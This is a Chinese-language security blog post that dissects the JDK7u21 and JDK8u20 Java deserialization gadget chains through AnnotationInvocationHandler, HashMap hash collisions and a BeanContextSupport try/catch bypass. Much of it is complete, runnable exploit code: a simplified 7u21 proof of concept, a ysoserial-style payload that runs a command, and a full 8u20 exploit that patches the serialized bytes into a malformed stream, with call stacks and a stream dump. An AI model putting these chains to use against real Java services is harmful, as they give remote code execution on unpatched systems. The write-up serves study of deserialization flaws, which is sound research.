觑觎 JDK7u21、8u20 反序列化链
前言
2015年Frohoff不仅给出了CommonsCollections的反序列化链,更给出了无第三方依赖的Jdk7u21链。同年Wouter Coekaerts提出了较高版本Jdk8u20的绕过思路。今天我站在巨人的肩膀上试图觑觎这两条鄙人目前认为最复杂的两条链。
JDK7u21
HashMap
在分析前,先学习一个非常重要的数据结构--哈希表。关于这方面的文章网上很多。
在Java中已经封装好了这样一个类 -- HashMap
HashMap源码分析(jdk1.8,保证你能看懂) - 知乎专栏
在Java HashMap中,哈希表对应的“桶”就是属性table
Jdk1.7
// The table, resized as necessary. Length MUST Always be a power of two.
transient Entry<K,V>[] table = (Entry<K,V>[]) EMPTY_TABLE;
Jdk1.8 改成了Node,有可能建立一个红黑树。
/**
* The table, initialized on first use, and resized as
* necessary. When allocated, length is always a power of two.
* (We also tolerate length zero in some operations to allow
* bootstrapping mechanics that are currently not needed.)
*/
transient Node<K,V>[] table;
而Node或Entry就是table上的每一个节点。插入或查找元素时HashMap会根据hash(key)的值计算出table对应的位置。如果哈希不冲突,则直接放入单个Node(Entry);如果哈希冲突,则放入由Node(Entry)单链表或红黑树中。
利用链分析
当用AnnotationInvocationHandler代理的对象调用equals方法时会调用如下方法
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
关键在var5.invoke(var1)
这一行,是可以调用任意对象任意方法的。其中var5是可控的AnnotationInvocationHandler的属性。仿照CC3链,如果把var1设置为包含字节码的templates,var5设置为getOutputProperties方法,就可以加载任意字节码。
而众所周知hashMap(或者hashTable)在put的时候会有对key.equal的操作(在CC7链中也有相应的利用)
HashMap#readObject有这样一段代码,在反序列化流中循环读取K,V并依次put到map中:
for (int i=0; i<mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
进入putForCreate后,需要计算key的hash值,如果出现了hash冲突,且key完全一样,则把值更新
HashMap#putForCreate
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);
int i = indexFor(hash, table.length);
/**
* Look for preexisting entry for key. This will never happen for
* clone or deserialize. It will only happen for construction if the
* input Map is a sorted map whose ordering is inconsistent w/ equals.
*/
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k)))) {
e.value = value;
return;
}
}
createEntry(hash, key, value, i);
}
key.equals(k)
中的key和k都是完全可以控制的。但是要走到这一步必须保证put进去的两个key hash值相等。跟进HashMap#hash看看是怎么计算的
会发现只和k.hashCode()的值有关。
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
梳理一下,假设被AnnotationInvocationHandler代理的对象为proxy,恶意TemplatesImpl为templates,那这里就需要构造两个key,一个是proxy,一个是templates。
templates的hashCode继承的是Object的native方法,完全不可知
而调用proxy.hashCode会被AnnotationInvocationHandler劫持,实际调用AnnotationInvocationHandler#hashCodeImpl
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
分析知道,var1(也就是返回的hash值)是通过AnnotationInvocationHandler.memberValues的所有k,v值计算出来的,而恰恰memberValues又是可控的。于是可以精心构造一个memberValues,使得计算出来的hash值和templates相等。
假设memberValues只有一个entry(k,v),而k.hashCode()返回0,因为任何数异或0等于它本身,所以实际上计算出的hash就等于v.hashCode()。也就是说,让
k.hashCode()=0
v=templates
就能让proxy.hashCode()==templates.hashCode()
由于key被写死成了String类,需要爆破一个hash值为0的String。写了一个python脚本
from pwnlib.util.iters import bruteforce
import string
max1=2**32
max2=2**31
def int32(x):
x=x%max1
# 其实就是补码反求原码
return x if x<=max2-1 else -~(x-1)
def hashCode(s):
'''
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
'''
h=0
n=len(s)
for i in range(n):
h=int32(int32(31*h)+ord(s[i]))
return h
print(bruteforce(lambda x: hashCode(x) == 0, string.printable, length=5))
吃了个晚饭都没跑出来= = 看来没个超算确实不配卷安全
好在ysoserial已经送了我们一个这样的字符串f5a5a608
精简版POC
根据上面的分析,可以写出下面这个精简版POC
package Explore;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.naming.Name;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import static utils.Yso.setFieldValue;
import static utils.SerAndDe.*;
public class JDK7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(memoryshell.HelloTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
/*
key.equals(?)
proxy.equals(x)
CA.CA(x)
*/
Map map=new HashMap();
map.put("f5a5a608",templates);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);
// 把handler.memberMethods设置为getOutputProperties
Method getOutputPropertiesMethod=TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
setFieldValue(handler,"memberMethods",new Method[]{getOutputPropertiesMethod});
Object proxy = Proxy.newProxyInstance(Name.class.getClassLoader(), new
Class[] {Name.class}, handler);
// 下面只需要 proxy.equals(templates);
HashMap expMap=new HashMap();
// 调试发现readObject的时候put的顺序按下面代码的顺序依次从下到上
expMap.put(proxy,1);
expMap.put(templates,1);
byte[] b=serialize(expMap);
deserialize(b);
}
}
调用栈
getTransletInstance:381, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:410, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
equalsImpl:197, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:59, AnnotationInvocationHandler (sun.reflect.annotation)
equals:-1, $Proxy1 (com.sun.proxy)
putForCreate:522, HashMap (java.util)
readObject:1156, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
ysoserial的POC
但实际上,上述POC是由两个小问题的。
- HashMap元素取出的顺序不好确定
注意到expMap在反序列化的时候必须保证第一次readObject是templates,然后是proxy。
在原生HashMap中put的顺序和readObject的顺序并没有简单的联系,这和HashMap的数据结构有关。因为HashMap的桶索引是由key计算出来的,所以其顺序其实是不确定的。
HashMap在序列化流程时是用entrySet来实现键值映射的
/**
* Returns a {@link Set} view of the mappings contained in this map.
* The set is backed by the map, so changes to the map are
* reflected in the set, and vice-versa. If the map is modified
* while an iteration over the set is in progress (except through
* the iterator's own <tt>remove</tt> operation, or through the
* <tt>setValue</tt> operation on a map entry returned by the
* iterator) the results of the iteration are undefined. The set
* supports element removal, which removes the corresponding
* mapping from the map, via the <tt>Iterator.remove</tt>,
* <tt>Set.remove</tt>, <tt>removeAll</tt>, <tt>retainAll</tt> and
* <tt>clear</tt> operations. It does not support the
* <tt>add</tt> or <tt>addAll</tt> operations.
*
* @return a set view of the mappings contained in this map
*/
Set<Map.Entry<K, V>> entrySet();
这里涉及到java比较底层的方法实现,我就没有继续往下跟进。
至于这个问题的解决是比较简单的:把HashMap
替换成LinkedHashSet
官方文档:
Hash table and linked list implementation of the
Set
interface, with predictable iteration order. This implementation differs fromHashSet
in that it maintains a doubly-linked list running through all of its entries. This linked list defines the iteration ordering, which is the order in which elements were inserted into the set (insertion-order). Note that insertion order is not affected if an element is re-inserted into the set. (An elemente
is reinserted into a sets
ifs.add(e)
is invoked whens.contains(e)
would returntrue
immediately prior to the invocation.)
LinkedHashSet用双链表把所有Entry联系起来,这样一来在readObject的时候就会按照put时候的顺序。
- 序列化的时候会执行一遍命令
因为序列化的时候执行了一遍map.put。解决起来也很简单,先put一个假的value,后面再put替换即可。
因此,完善后的ysoserial POC如下
package ysoserial.test.payloads;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.Serializer;
import ysoserial.Deserializer;
public class Jdk7u21Test {
public static Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static void main(String[] args) throws Exception{
byte[] ser=Serializer.serialize(getObject("calc"));
Deserializer.deserialize(ser);
}
}
调用栈
exec:345, Runtime (java.lang)
<clinit>:-1, Pwner683985893237600 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:525, Constructor (java.lang.reflect)
newInstance0:374, Class (java.lang)
newInstance:327, Class (java.lang)
getTransletInstance:380, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:410, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
equalsImpl:197, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:59, AnnotationInvocationHandler (sun.reflect.annotation)
equals:-1, $Proxy0 (com.sun.proxy)
put:475, HashMap (java.util)
readObject:309, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
deserialize:27, Deserializer (ysoserial)
deserialize:22, Deserializer (ysoserial)
main:42, Jdk7u21Test (ysoserial.test.payloads)
JDK 8u20
JDK7u21的修复
https://github.com/openjdk/jdk7u/commit/b3dd6104b67d2a03b94a4a061f7a473bb0d2dc4e
AnnotationInvocationHandler在readObject时会检查this.type
,而这里为了控制type一定会报错
修复前在只是把函数return,但由于已经defaultReadObject,对反序列化流程没有影响。而修复后后直接丢异常。
Java原生反序列化协议
理解8u20这条链最重要的东西就是弄清楚这个协议。最好的参考文档就是官方文档和源码。
Object Serialization Stream Protocol
所有的细节已经在文档里由详细说明,这里不再赘述。但是这里还是要重点贴一下handler的概念,因为这和后面的绕过密切相关。
Each object written to the stream is assigned a handle that is used to refer back to the object. Handles are assigned sequentially starting from 0x7E0000. The handles restart at 0x7E0000 when the stream is reset.
写一个小demo看看handler指针的具体图景
package ysoserial.test.Others;
import java.io.IOException;
import java.io.Serializable;
import java.util.HashMap;
import org.apache.commons.codec.binary.Base64;
import ysoserial.*;
public class Student implements Serializable {
private String Name;
public Student(String name) {
Name = name;
}
public static void main(String[] args) throws IOException {
Student student = new Student("bridge");
HashMap map = new HashMap();
map.put(student, student);
String b64 = Base64.encodeBase64String(Serializer.serialize(map));
System.out.println(b64);
}
}
然后这里用phith0n师傅的工具zkar来分析序列化字节码
PS D:\1ctfprojectss\java_exp\JavaSerializeExp\javaSerializationTools\zkar_1.3.0_Windows_x86_64> ./zkar dump --base64 rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAHXlzb3NlcmlhbC50ZXN0Lk90aGVycy5TdHVkZW50iN3WLrCT0ScCAAFMAAROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAZicmlkZ2VxAH4ABHg=
@Magic - 0xac ed
@Version - 0x00 05
@Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
@ClassName
@Length - 17 - 0x00 11
@Value - java.util.HashMap - 0x6a 61 76 61 2e 75 74 69 6c 2e 48 61 73 68 4d 61 70
@SerialVersionUID - 362498820763181265 - 0x05 07 da c1 c3 16 60 d1
@Handler - 8257536
@ClassDescFlags - SC_SERIALIZABLE|SC_WRITE_METHOD - 0x03
@FieldCount - 2 - 0x00 02
[]Fields
Index 0:
Float - F - 0x46
@FieldName
@Length - 10 - 0x00 0a
@Value - loadFactor - 0x6c 6f 61 64 46 61 63 74 6f 72
Index 1:
Integer - I - 0x49
@FieldName
@Length - 9 - 0x00 09
@Value - threshold - 0x74 68 72 65 73 68 6f 6c 64
[]ClassAnnotations
TC_ENDBLOCKDATA - 0x78
@SuperClassDesc
TC_NULL - 0x70
@Handler - 8257537
[]ClassData
@ClassName - java.util.HashMap
{}Attributes
loadFactor
(float)0.75 - 0x3f 40 00 00
threshold
(integer)12 - 0x00 00 00 0c
@ObjectAnnotation
TC_BLOCKDATA - 0x77
@Blockdata - 0x00 00 00 10 00 00 00 01
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
@ClassName
@Length - 29 - 0x00 1d
@Value - ysoserial.test.Others.Student - 0x79 73 6f 73 65 72 69 61 6c 2e 74 65 73 74 2e 4f 74 68 65 72 73 2e 53 74 75 64 65 6e 74
@SerialVersionUID - -8584469818678980313 - 0x88 dd d6 2e b0 93 d1 27
@Handler - 8257538
@ClassDescFlags - SC_SERIALIZABLE - 0x02
@FieldCount - 1 - 0x00 01
[]Fields
Index 0:
Object - L - 0x4c
@FieldName
@Length - 4 - 0x00 04
@Value - Name - 0x4e 61 6d 65
@ClassName
TC_STRING - 0x74
@Handler - 8257539
@Length - 18 - 0x00 12
@Value - Ljava/lang/String; - 0x4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b
[]ClassAnnotations
TC_ENDBLOCKDATA - 0x78
@SuperClassDesc
TC_NULL - 0x70
@Handler - 8257540
[]ClassData
@ClassName - ysoserial.test.Others.Student
{}Attributes
Name
TC_STRING - 0x74
@Handler - 8257541
@Length - 6 - 0x00 06
@Value - bridge - 0x62 72 69 64 67 65
TC_REFERENCE - 0x71
@Handler - 8257540 - 0x00 7e 00 04
TC_ENDBLOCKDATA - 0x78
可以看到在第二个Student(也就是value)用Handler指向了8257540,也就是第一个Student
多重try catch
同样先从一个demo说起
static void tryCatch(){
try {
int i = 2 / 1;
try {
int j = 2 / 0;
System.out.println("Inner End");
} catch (Exception e) {
System.out.println("Inner Error");
}
System.out.println("Outer End");
} catch (Exception e) {
System.out.println("Outer Error");
}
}
运行结果:
Inner Error
Outer End
可以看出,多层try catch的内层代码抛出异常时,内层代码会中断,但是外层代码会继续执行下去。
JDK8U20链分析
上述两个trick单独看作用不大,但是结合起来就会有奇妙的效果。再看修复后的AnnotationInvocationHandler
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// ...
}
如果把AnnotationInvocationHandler#readObject当成内层try catch嵌套在外层try catch中,反序列化的时候会在内存中留下完整的AnnotationInvocationHandler和对应的handler。而此后在真正需要用到AnnotationInvocationHandler的时候,ObjectInputStream会直接引用这个handler。
所以需要找到一个readObject流程里有try catch且不影响反序列化流程的类。
如java.beans.beancontext.BeanContextSupport
BeanContextSupport#readObject
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1));
}
}
BeanContextSupport#readChildren
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;
while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
// ...
}
让child = ois.readObject();
这一行读取AnnotationInvocationHandler,之后的catch并不影响反序列化流程,完美符合要求。
于是接下来的思路就很明确了:在最终LinkedHashSet中依次add三个元素:包裹AnnotationInvocationHandler的BeanContextSupport、templates、proxy。
先看看为了使child = ois.readObject();
读取想要的AnnotationInvocationHandler需要做什么
BeanContextSupport#writeObject
private synchronized void writeObject(ObjectOutputStream oos) throws IOException, ClassNotFoundException {
serializing = true;
synchronized (BeanContext.globalHierarchyLock) {
try {
oos.defaultWriteObject(); // serialize the BeanContextSupport object
bcsPreSerializationHook(oos);
if (serializable > 0 && this.equals(getBeanContextPeer()))
writeChildren(oos);
serialize(oos, (Collection)bcmListeners);
} finally {
serializing = false;
}
}
}
BeanContextSupport#writeChildren
public final void writeChildren(ObjectOutputStream oos) throws IOException {
if (serializable <= 0) return;
boolean prev = serializing;
serializing = true;
int count = 0;
synchronized(children) {
Iterator i = children.entrySet().iterator();
while (i.hasNext() && count < serializable) {
Map.Entry entry = (Map.Entry)i.next();
if (entry.getKey() instanceof Serializable) {
try {
oos.writeObject(entry.getKey()); // child
oos.writeObject(entry.getValue()); // BCSChild
} catch (IOException ioe) {
serializing = prev;
throw ioe;
}
count++;
}
}
}
serializing = prev;
if (count != serializable) {
throw new IOException("wrote different number of children than expected");
}
}
BeanContextSupport.children
/**
* all accesses to the <code> protected HashMap children </code> field
* shall be synchronized on that object.
*/
protected transient HashMap children;
所以让BeanContextSupport.children=AnnotationInvocationHandler即可。
当然,因为children写入的时候极其地不合规范,为后面无限debug埋下了伏笔。
构造畸形的反序列化有很多种方法,在经过了很多的尝试之后,我认为1nhann师傅的方法最自然和精炼。
正常想法直接add
package ysoserial.test.payloads;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.util.ByteUtils;
import java.beans.beancontext.BeanContextSupport;
import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.Serializer;
import ysoserial.Deserializer;
public class Temp {
public static Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
Gadgets.ANN_INV_HANDLER_CLASS
).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
BeanContextSupport support = new BeanContextSupport();
HashMap childrenMap = new HashMap();
childrenMap.put(tempHandler, 0);
Reflections.setFieldValue(support, "children", childrenMap);
Reflections.setFieldValue(support, "serializable", 1);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(support);
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static void main(String[] args) throws Exception {
byte[] ser = Serializer.serialize(getObject("calc"));
Deserializer.deserialize(ser);
}
}
然后报错。仔细debug会发现在BeanContextSupport#deserialize的时候没能从ois里正确地读出一个整数
事实上这一段是在读取BeanContextSupport的objectAnnotation部分。继续动调会发现其在读取BlockHeader的时候发生了错误,导致函数返回-1
这就涉及到重要概念TC_ENDBLOCKDATA
The flag SC_WRITE_METHOD is set if the Serializable class writing the stream had a
writeObject
method that may have written additional data to the stream. In this case a TC_ENDBLOCKDATA marker is always expected to terminate the data for that class.
继续debug,看看defaultDataEnd是什么时候被设置为true的。
如图,因为sun.reflect.annotation.AnnotationInvocationHandler没有WriteObject方法,导致这个字段被设置成了true。于是乎,利用javassist创造一个类,给它加上这个方法。
package ysoserial.test.payloads;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.Serializer;
import ysoserial.Deserializer;
public class Temp {
public static Class handlerWithWriteObject() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObjectMethod = CtMethod.make("" +
" private void writeObject(java.io.ObjectOutputStream s)\n" +
" throws java.io.IOException {\n" +
" s.defaultWriteObject();\n" +
" }", clazz);
clazz.addMethod(writeObjectMethod);
return clazz.toClass();
}
public static Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
handlerWithWriteObject()
).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
BeanContextSupport support = new BeanContextSupport();
HashMap childrenMap = new HashMap();
childrenMap.put(tempHandler, 0);
Reflections.setFieldValue(support, "children", childrenMap);
Reflections.setFieldValue(support, "serializable", 1);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(support);
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static void main(String[] args) throws Exception {
byte[] ser = Serializer.serialize(getObject("calc"));
Deserializer.deserialize(ser);
}
}
依然报错。debug发现依然是在这个readBlockHeader发生了错误。具体而言是读取的这个blockheader发生了错误
header要求必须是TC_BLOCKDATA、TC_BLOCKDATALONG、TC_RESET,否则就会报错。而这里的tc=120,没有任何一个匹配的上。
这里就要手搓二进制了。生成一个字节码文件,debug结合工具定位到这个字节附近。
发现后面跟了一个Interger对象,而找不到blockerHeader。事实上接下来应该读取BeanContextSupport写在objectAnnotation的部分。再结合TC_BLOCKDATA的定义
/**
* Block of optional data. Byte following tag indicates number
* of bytes in this block data.
*/
final static byte TC_BLOCKDATA = (byte)0x77;
胆大心细,直接把这一段删掉!
然后读取文件反序列化,Pwn!
POC
注意由于新建了一个AnnotationInvocationHandler类,不能在同一次运行的时候同时序列化和反序列化。
package ysoserial.test.payloads;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.util.ByteUtils;
import java.beans.beancontext.BeanContextSupport;
import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.Serializer;
import ysoserial.Deserializer;
public class Jdk8u20Test {
public static Class handlerWithWriteObject() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObjectMethod = CtMethod.make("" +
" private void writeObject(java.io.ObjectOutputStream s)\n" +
" throws java.io.IOException {\n" +
" s.defaultWriteObject();\n" +
" }", clazz);
clazz.addMethod(writeObjectMethod);
return clazz.toClass();
}
public static Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
handlerWithWriteObject()
).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
BeanContextSupport support = new BeanContextSupport();
HashMap childrenMap = new HashMap();
childrenMap.put(tempHandler, 0);
Reflections.setFieldValue(support, "children", childrenMap);
Reflections.setFieldValue(support, "serializable", 1);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(support);
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static void writeExp() throws Exception {
byte[] ser = Serializer.serialize(getObject("calc"));
byte[] pattern = new byte[]{(byte) 0x78, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x11, (byte) 0x6A, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2E, (byte) 0x6C, (byte) 0x61, (byte) 0x6E, (byte) 0x67, (byte) 0x2E, (byte) 0x49, (byte)
0x6E, (byte) 0x74, (byte) 0x65, (byte) 0x67, (byte) 0x65, (byte) 0x72, (byte) 0x12, (byte) 0xE2, (byte) 0xA0, (byte) 0xA4, (byte) 0xF7, (byte) 0x81, (byte) 0x87, (byte) 0x38, (byte) 0x02, (byte) 0x00, (byte)
0x01, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x76, (byte) 0x61, (byte) 0x6C, (byte) 0x75, (byte) 0x65, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x10, (byte) 0x6A, (byte) 0x61, (byte) 0x76, (byte)
0x61, (byte) 0x2E, (byte) 0x6C, (byte) 0x61, (byte) 0x6E, (byte) 0x67, (byte) 0x2E, (byte) 0x4E, (byte) 0x75, (byte) 0x6D, (byte) 0x62, (byte) 0x65, (byte) 0x72, (byte) 0x86, (byte) 0xAC, (byte) 0x95, (byte)
0x1D, (byte) 0x0B, (byte) 0x94, (byte) 0xE0, (byte) 0x8B, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};
ser = ByteUtils.deleteByPattern(ser, pattern);
FileUtils.writeByteArrayToFile(new File("files/Jdk8u20/poc2.ser"), ser);
}
public static void main(String[] args) throws Exception {
// writeExp();
byte[] ser = FileUtils.readFileToByteArray(new File("files/Jdk8u20/poc2.ser"));
Deserializer.deserialize(ser);
}
}
另外由于此时数据结构的DDL已经干完 = = ,搜索字节并删除的方法我用了KMP算法,这里也小贴一下
package ysoserial.payloads.util;
public class ByteUtils {
public static byte[] deleteByPattern(byte[] source, byte[] pattern) {
int start = indexOf(source, pattern);
byte[] ans = new byte[source.length - pattern.length];
for (int i = 0; i < start; i++) {
ans[i] = source[i];
}
for (int i = start; i < ans.length; i++) {
ans[i] = source[i + pattern.length];
}
return ans;
}
public static int indexOf(byte[] source, byte[] pattern) {
int[] next = getNext(pattern);
int i = 0;
int j = 0;
while (i < source.length && j < pattern.length) {
if (j == -1 || source[i] == pattern[j]) {
i++;
j++;
} else {
j = next[j];
}
}
if (j == pattern.length) {
return i - j;
}
return -1;
}
private static int[] getNext(byte[] chars) {
int[] next = new int[chars.length];
int j = -1;
int i = 0;
next[0] = -1;
while (i < chars.length - 1) {
if (j == -1 || chars[i] == chars[j]) {
next[++i] = ++j;
} else {
j = next[j];
}
}
return next;
}
